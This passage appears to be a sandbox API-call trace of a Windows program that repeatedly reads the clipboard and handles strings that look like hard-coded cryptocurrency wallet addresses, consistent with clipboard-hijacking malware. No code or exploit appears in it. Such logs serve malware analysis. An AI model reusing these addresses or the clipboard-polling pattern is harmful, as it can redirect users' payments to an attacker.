lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0053.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0053.655] Sleep (dwMilliseconds=0x64) [0053.783] GetOpenClipboardWindow () returned 0x0 [0053.783] OpenClipboard (hWndNewOwner=0x0) returned 1 [0053.783] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0053.783] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0053.783] GlobalSize (hMem=0x6069b8) returned 0x42 [0053.783] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0053.783] GlobalUnlock (hMem=0x6069b8) returned 1 [0053.783] CloseClipboard () returned 1 [0053.783] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.783] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0053.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0053.787] Sleep (dwMilliseconds=0x64) [0053.913] GetOpenClipboardWindow () returned 0x0 [0053.913] OpenClipboard (hWndNewOwner=0x0) returned 1 [0053.913] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0053.913] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0053.913] GlobalSize (hMem=0x6069b8) returned 0x42 [0053.913] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0053.913] GlobalUnlock (hMem=0x6069b8) returned 1 [0053.913] CloseClipboard () returned 1 [0053.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 